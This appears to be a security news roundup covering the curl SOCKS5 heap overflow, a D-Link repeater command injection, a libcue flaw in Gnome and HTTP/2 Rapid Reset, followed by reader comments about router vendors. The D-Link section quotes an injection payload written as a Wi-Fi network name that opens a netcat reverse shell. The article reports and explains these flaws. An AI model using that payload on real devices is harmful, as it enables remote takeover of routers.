Curl gave us all a big warning that a severe security problem had been found in that code-base. Given the staggering number of Curl installs around the world, we held our collective breath and waited for the bombshell to drop this Wednesday. It turns out, it’s not quite as bad as feared — so long as you don’t have a SOCKS proxy.
In hindsight, shipping a heap overflow in code installed in over twenty billion instances is not an experience I would recommend. — Daniel Stenberg
The trouble started when the SOCKS5 proxy support was converted to a non-blocking implementation. It’s a win for libcurl to work on requests asynchronously, but refactoring code and new features always runs a bit of risk. SOCKS5 proxying has some quirks, like allowing DNS resolution to happen locally or at the proxy. The new async code starts out with:
bool socks5_resolve_local =
(proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
First off, unnecessary ternary is unnecessary. But note that this local variable gets set by the proxytype. If that’s CURLPROXY_SOCKS5_HOSTNAME, then it uses remote resolution. But inherited from old code is a check for a hostname that is too long for a SOCKS request (255 bytes). This code converts back to local resolution in this case.
The important detail here is that this function is now a state machine, that potentially runs multiple times for a single request, to achieve that asynchronous execution. The check for a too-long hostname only happens during the initialization state. Copying the hostname into the buffer happens in a different state. If setting up the connection takes enough time, the function will return and be executed again when something has changed. The ternary check runs again, but not the hostname-too-long. So if set to do remote resolution with a long enough host name, execution slips through this edge case, and the long hostname is copied into a too-small buffer.
It’s safe to assume that this heap overflow can result in arbitrary code execution. The fix has landed in 8.4.0, after being present for 1,315 days. [Daniel] goes ahead and gets ahead of the inevitable suggestion that Curl should be written in rust or another memory-safe language. Curl was started before those alternatives existed, and there is a very slow effort to move portions of the project to memory-safe languages. And you’re welcome to help out.
Router Executes WiFi
It’s never a good sign when scanning for WiFi networks crashes your router. But when it’s an apostrophe that causes the problem, you might have something interesting.
One of our pentesters recently got a new D-Link DAP-X1860 repeater, which they couldn't setup.
This was caused by a neighbor's Wi-Fi containing a single tick in their Wi-Fi name ("Olaf's WiFi"), resulting in the following error while scanning for access points: pic.twitter.com/c7hSk53RAH— RedTeam Pentesting (@RedTeamPT) October 9, 2023
The culprit here is a function that writes Access Point info to a temporary file. The data is constructed into a single command that uses echo to write to the file. And that means command injection. So yes, name a network '& nc notebook 1337 -e /bin/sh & and get a remote shell.
RedTeam Pentesting tried to report the vulnerability to D-Link for three months, and never received a response. As a result, these issues are now publicly released, and no patches are available. If you have a D-Link wireless device, it might be worth testing the Proof of Concept (PoC). And I think D-Link has officially made the ignominious list of hardware to never run stock firmware on.
Gnome Hit With Libcue
There’s a nasty issue in Gnome, where merely downloading a file can result in Remote Code Execution (RCE). The vulnerability is in libcue, a parser for cue sheets. It’s a straightforward issue, where a value overflows the max value of a signed integer, to become a negative value. That value is then used to index an array, and a negative value writes to an unsafe location outside the array. The value to be written is also taken from the cue file, making exploitation fairly easy.
Where this really gets ugly is in the Gnome desktop, where the tracker-miners service runs by default. This is essentially a search index tool. The problem is that it automatically runs parsing libraries for found files, and one of its search locations is in Downloads. And that’s the exploit. Download a .cue file, it gets indexed, and the library executes arbitrary code when parsing the download. Patches are available, and are making their way through the distributions to arrive at our desktops.
Rapid Reset
Cloudflare observed a novel Distributed Denial of Service (DDoS) attack in the wild, and it might not be what you expected. The headline is that this is a record-breaking DDoS resulting from an http/2 0-day. Most record-breaking DDoS attacks are based on reflection, but this one is a bit different.
Diving into the technical details tells the tale. HTTP/2 allows multiple requests to be combined, and the responses to be interleaved on a single TCP connection. Each of those request/response flows are tracked as streams, and there’s a limit on how many streams a single client can have open.
The interesting bit is that a client can send a stream reset request, which immediately frees that stream from the perspective of the max concurrent streams limit. But there’s a service behind that HTTP/2 connection, and it takes a bit of time to tear down the backend connections. If, like Cloudflare, you have a mid-stream proxy like Nginx in the mix, that imbalance can make quite a difference. Make many requests, then start resetting and restarting each of them, and you end up sending way more traffic down an HTTP/2 connection than is intended.
Bits and Bytes
There’s a new challenge for all you aspiring cryptographers. NIST publishes a handful of elliptic curves that were generated from NSA-provided hashes. These in turn were generated from something, probably sentences in English. But what sentences? That’s the challenge, and there twelve grand in US dollars to whoever can crack the nut first.
“Can’t stop, won’t stop” — Cisco, apparently. Yeah, once again, Cisco has to issue a security warning over hard-coded credentials in production software. Cisco is dangerously close to joining D-link on that list.
Sending your DNA to a big company, to get neat ancestry info — what could possibly go wrong? Credential stuffing, breaking into accounts, and then using that access to scrape info from other accounts that opted in to the DNA Relatives service. 23 and Me has released a statement, re-affirming that there wasn’t a wider breach, and suggesting that all users use multi-factor authentication. Regardless, there’s a claimed database of a million users leaked online, with more than that available for purchase. It’s not been confirmed if that is actual real data.
> And I think D-Link has officially made the ignominious list of hardware to never run stock firmware on.
D-Link has long been crap. All the way back to 2006 or earlier, several D-Link routers were found to be vulnerable to a local DoS attack – telnetting to the router and holding down Enter would cause the router to stop responding. While this FAQ entry has long since disappeared from their site, good old archive.org has saved it for posterity: https://web.archive.org/web/20060321030338/http://support.dlink.com/faq/view.asp?prod_id=1269&question=DI-604%20/%20DI-614+%20/%20DI-624%20/%20DI-754%20/%20DI-764%20/%20DI-774%20/%20DI-604E1%20/%20%20DI-614+revB%20/%20DI-624C%20/%20DI-774B
Yep. D-Link’s reaction wasn’t to fix the bug – they added a FAQ entry which said “If you’re doing this, STOP”.
D-Link’s stock firmware is little more than a joke, much like the company itself. :)
I find any TP Link to be better than D Link/Netgear. Admittedly I don’t think I have a cloud managed TP Link.
I’m hoping that the discoverer of this problem has considered a wired backhaul. With that many access points on the air, reducing free air time may result in poor performance for the whole network.
Does this Vulnerability exist after you connect it to your router? If not, reduce the network strength until it cannot see the offensive station (put under a metal lid, or in a microwave/oven with door open). Once paired should be OK?
I bought a TP-Link router from CompUSA (man, I’m dating myself here…) many years ago. I don’t know how well it worked – while doing the initial setup, I found that TP-Link had, rather inexplicably, decided to use drop-down boxes for setting both date *and* time. To top it off, the drop-down for Hour had 01-23 – no 00. There was literally an entire hour of the day that you couldn’t properly set the time on this device.
That was enough for me. I figured that if TP-Link couldn’t get the number of hours in a day right, actually doing the hard stuff (802.11 wireless, routing packets, etc) would likely be beyond them as well. That router went back to the store the next day.
Realistically, they’re all crap. That’s why I’ve set my own policy of only buying wireless routers w/ good open source support, so that I don’t have to worry about how many corners the vendor are cutting in software – after all, a device is only as good as the software that’s required to use it. It could have the most amazing hw specs, but if they can’t get a friggin driver/firmware/… right, it’ll be in the trash the next day.
My requirement for wifi gear is literally only “gets updates” but it is amazing how hard that is to find.
I long ago tired of always searching for things that ‘might’ be supported by openwrt and getting a newer revision that broke support.
Now I only look at Mikrotik for my wifi APs as they get ongoing support and only implement new features when they are fairly mature.
IMO it’s okay to be stuck on wifi 5 when I can count on updates for well over 5 years.
(13years in the case of my previous AP)
I’m still on wifi 4 here (2x Netgear WNDR3800s, 1x Netgear WNDR4300), with a single wifi 5 router (Netgear R6900) that still has some bugs. I need to upgrade it when I get some time to see if that helps with stability.
That being said, wifi 4 has proven to be fast enough for now. If I buy used, I ensure I know which revision I’m getting before I buy it!
Can I find that list anywhere ? Or a similar one, gathering hardware/software to avoid ?
When it comes to wireless routers, most have crap for stock firmware. I usually recommend finding something that can run openwrt (hint: if it has a Broadcom chipset, you’re not running openwrt on it!).
Which is funny in it’s own right since practically all use Linux.
You’re not wrong – but vendor firmware is often buggy, and vendors have shown reluctance to fix said bugs, often letting them languish.
This is one area (of many?) where open source projects, especially large ones like openwrt, tend to shine. Even when the vendor uses openwrt for the device’s firmware, it tends to be an old release, so updating to a newer revision is usually the best policy.
>if it has a Broadcom chipset, you’re not running openwrt on it!
Which isn’t surprising, good luck getting datasheets for Broadcom silicon (without signing NDA and stuff)… :-(
Yep, that’s precisely the problem – closed drivers, closed firmware. openwrt wrote off broadcom support years ago.
… er, closed documentation, not firmware. Brain fart.
… and to think “it all started” with the Linksys wrt54g with its “Broadcom BCM4702”.
:-/
I highly suggest if you have the need for multiple access stations (either because of a large area, or obstructions or many users) to look into something like 2 or 3 Ubiquiti NanoHD ( AC WiFi; Gigabit backhaul; POE). Steep learning curve, and need to use some initial configuration software on a PC if you are using them ‘unmanaged’ (IE without one of their boxes on the network). But really powerful and don’t just crash when 20-80 devices are on the air. Figure $60-100 each, maybe a bit less used.
You can get a Netgear POE gigabit switch with 4 regular and 4 POE ports to simplify your install, or just use their injectors.
But I cover my 1/3 acre just fine with one TP-Link AC1900 7′ high in the center of the house.
I’ll second Unifi. But you can run it managed with your own hardware. You can run their control software in a docker container or stand alone.
https://www.linuxserver.io/blog/2016-02-13-manage-a-unifi-ap-via-the-ubiquiti-controller-running-in-docker
D-Link again?!? what a bunch of wazzocks.
Then again, Cisco aren’t much better. Their list of recent CVEs is pretty damning and a lot of them are use-after-free, and buffer overflows which surely should be spotted by proper code-fuzzing and decent coding practices. The answer to all these sorts of problems is probably management and accountants. Stuff gets rushed because it needs to be shipped to retain the company’s bottom line. Management are kicking ass to get the code shipped on time. Corners are cut, code is bodged just so it compiles and appears to work.
Nobody ever seems to learn and the same companies make the same mistakes over and over and over.
> D-Link again?!?
I’ve long referred to them as D-Stink. ;)